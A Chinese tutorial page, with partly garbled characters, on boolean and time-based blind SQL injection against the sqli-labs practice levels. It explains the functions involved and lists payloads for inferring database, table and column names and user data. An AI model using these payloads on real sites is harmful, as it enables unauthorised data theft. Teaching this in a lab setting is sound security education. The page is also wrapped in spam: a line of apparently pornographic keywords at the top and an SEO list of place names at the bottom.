久久r热视频,国产午夜精品一区二区三区视频,亚洲精品自拍偷拍,欧美日韩精品二区

您的位置:首頁技術(shù)文章
文章詳情頁

SQL bool盲注和時(shí)間盲注詳解

瀏覽:125日期:2023-03-06 14:25:14
目錄
  • 一、bool盲注和時(shí)間盲注常用函數(shù)
  • 二、bool盲注和時(shí)間盲注payload
    • 1、SQL注入點(diǎn)探測
    • 2、猜解數(shù)據(jù)庫名
    • 3、猜解表名
    • 4、猜解字段名
    • 5、猜解數(shù)據(jù)

今天繼續(xù)給大家介紹Linux運(yùn)維相關(guān)知識(shí),本文主要內(nèi)容是SQL bool盲注和時(shí)間盲注。

免責(zé)聲明:
本文所介紹的內(nèi)容僅做學(xué)習(xí)交流使用,嚴(yán)禁利用文中技術(shù)進(jìn)行非法行為,否則造成一切嚴(yán)重后果自負(fù)!
再次強(qiáng)調(diào):嚴(yán)禁對(duì)未授權(quán)設(shè)備進(jìn)行滲透測試!

一、bool盲注和時(shí)間盲注常用函數(shù)

1、休眠函數(shù)
sleep()是SQL語句中用于休眠的函數(shù),時(shí)間盲注中常用,sleep(x)可以讓程序休眠x秒。
2、字符串截取函數(shù)
字符串截取函數(shù)是bool盲注和時(shí)間盲注中都需要使用的函數(shù)。常用的字符串截取函數(shù)有mid()、substr()、left()。
mid()函數(shù)格式為:

mid(【目標(biāo)字段】,【開始的位置】,【截取長度】)

其中,開始的位置默認(rèn)從1開始。
substr()函數(shù)的用法與mid相似,left函數(shù)則默認(rèn)從字段的最左邊開始截取,其格式為:

left(【目標(biāo)字段】,【截取長度】)

表示從目標(biāo)字段的左邊開始截取指定長度的字符。
3、字符串長度函數(shù)
字符串長度函數(shù)length()會(huì)應(yīng)用在SQL bool盲注和時(shí)間盲注中,length()函數(shù)可以反饋目標(biāo)字符串的長度。
4、ascii碼轉(zhuǎn)換函數(shù)
ascii碼轉(zhuǎn)換函數(shù)可以將一個(gè)字符轉(zhuǎn)換成ascii碼,在SQL基于時(shí)間的盲注和基于bool的盲注中,ascii碼轉(zhuǎn)換函數(shù)可以將一個(gè)字符轉(zhuǎn)換成其ascii碼值。常用的ascii碼轉(zhuǎn)換函數(shù)為ascii()、ord()。
5、條件判斷函數(shù)
條件判斷函數(shù)if是SQL時(shí)間盲注中的必用函數(shù),可以利用if函數(shù)來根據(jù)條件來反饋不同的結(jié)果。
if函數(shù)格式如下所示:

if(【條件】,【值1】,【值2】)

當(dāng)條件成立時(shí),if函數(shù)返回值1,當(dāng)條件不成立時(shí),if函數(shù)返回值2.

二、bool盲注和時(shí)間盲注payload

1、SQL注入點(diǎn)探測

我們使用sqli_lab的靶場,對(duì)基于bool的盲注和基于時(shí)間的盲注進(jìn)行講解,在sqli_lab靶場中,基于bool的盲注是第8關(guān),基于時(shí)間的盲注是第9關(guān),頁面如下所示:

對(duì)于bool類型的盲注,我們可以通過執(zhí)行以下payload來探測是否存在注入點(diǎn):

id=1"and 1=2#

如果顯示異常,那么就說明and后面的內(nèi)容被成功執(zhí)行,因此可能存在bool類型的SQL注入。
對(duì)于時(shí)間類型的盲注,我們可以通過執(zhí)行以下payload來探測是否存在注入點(diǎn):

id=1"and sleep(10)#

如果網(wǎng)頁反應(yīng)時(shí)間出現(xiàn)了明顯延遲,就說明存在基于時(shí)間的SQL注入。

2、猜解數(shù)據(jù)庫名

bool類型的盲注猜解數(shù)據(jù)庫長度payload如下所示:

id=1"and length(database())>10#

時(shí)間類型的盲注猜解數(shù)據(jù)庫長度payload如下所示:

id=1"and sleep(if(length(database())>10,10,1))>10#

bool類型的盲注猜解數(shù)據(jù)庫名稱payload如下所示:

id=1"and ascii(mid(database(),1,1))>115#

時(shí)間類型的盲注猜解數(shù)據(jù)庫名稱payload如下所示:

id=1"and sleep(if(ascii(mid(database(),1,1))>115,10,1))#

上述四個(gè)payload,length函數(shù)用于反饋查詢結(jié)果的長度,mid函數(shù)用于截取查詢結(jié)果的指定字符,ascii函數(shù)用于將其轉(zhuǎn)換為ascii碼的形式,if函數(shù)中第一個(gè)參數(shù)為一個(gè)判斷表達(dá)式,本質(zhì)上是bool類型盲注的核心,后面的10和1分別為表達(dá)式成立或者不成立條件下的返回值,該返回值為sleep函數(shù)的輸入,以此就可以控制網(wǎng)頁反應(yīng)的時(shí)間。

3、猜解表名

bool類型的盲注表名個(gè)數(shù)猜解payload如下所示:

id=1"and (select count(*) from information_schema.tables where table_schema=database())>2#

時(shí)間類型的盲注表名個(gè)數(shù)猜解payload如下所示:

id=1"and sleep(if((select count(*) from information_schema.tables where table_schema=database())>2,10,1))#

bool類型的盲注表名猜解payload如下所示:

id=1"and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#

時(shí)間類型的盲注表名猜解payload如下所示:

id=1"and sleep(if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100),10,1))#

在上述4個(gè)payload中,其原理與之前介紹的相似,但是是使用limit函數(shù)來不斷的控制反饋的變量。

4、猜解字段名

bool類型的盲注字段名個(gè)數(shù)猜解payload如下所示:

id=1"and (select count(*) from information_schema.columns where table_name="users"and table_schema=database())>1#

時(shí)間類型的盲注字段名個(gè)數(shù)猜解payload如下所示:

id=1"and sleep(if((select count(*) from information_schema.columns where table_name="users"and table_schema=database())>1,10,1))#

bool類型的盲注字段名個(gè)數(shù)猜解payload如下所示:

id=1"and ascii(mid((select% column_name from information_schema.columns where%20table_name="users"and table_schema=database() limit 0,1),1,1))>1000#

時(shí)間類型的盲注字段名個(gè)數(shù)猜解payload如下所示:

id=1"and sleep(if(ascii(mid((select% column_name from information_schema.columns where%20table_name="users"and table_schema=database() limit 0,1),1,1))>1000,10,1))#

其原理與之前類似。

5、猜解數(shù)據(jù)

bool類型的盲注數(shù)據(jù)長度猜解payload如下所示:

id=1"and (select count(*) from users)>1#

時(shí)間類型的盲注數(shù)據(jù)長度猜解payload如下所示:

id=1"and sleep(if((select count(*) from users)>1,10,1))#

bool類型的盲注數(shù)據(jù)猜解payload如下所示:

id=1"and ascii(mid((select username from users limit 0,1),1,1))>1#

時(shí)間類型的盲注數(shù)據(jù)猜解payload如下所示:

id=1"and sleep(if(ascii(mid((select username from users limit 0,1),1,1))>1,10,1))#

到此這篇關(guān)于SQL bool盲注和時(shí)間盲注詳解的文章就介紹到這了,更多相關(guān)SQL bool盲注和時(shí)間盲注內(nèi)容請(qǐng)搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持!

標(biāo)簽: MsSQL
主站蜘蛛池模板: 海南省| 金昌市| 聂拉木县| 文成县| 海阳市| 宜都市| 太湖县| 遂昌县| 青龙| 囊谦县| 玛纳斯县| 蚌埠市| 普兰店市| 涪陵区| 洛浦县| 北海市| 扶绥县| 泉州市| 金乡县| 承德市| 阳曲县| 琼中| 浠水县| 平江县| 瑞安市| 舞阳县| 余姚市| 祁连县| 县级市| 隆昌县| 安溪县| 齐齐哈尔市| 青河县| 句容市| 板桥市| 鸡东县| 光泽县| 嘉义县| 阳原县| 宁津县| 吴堡县|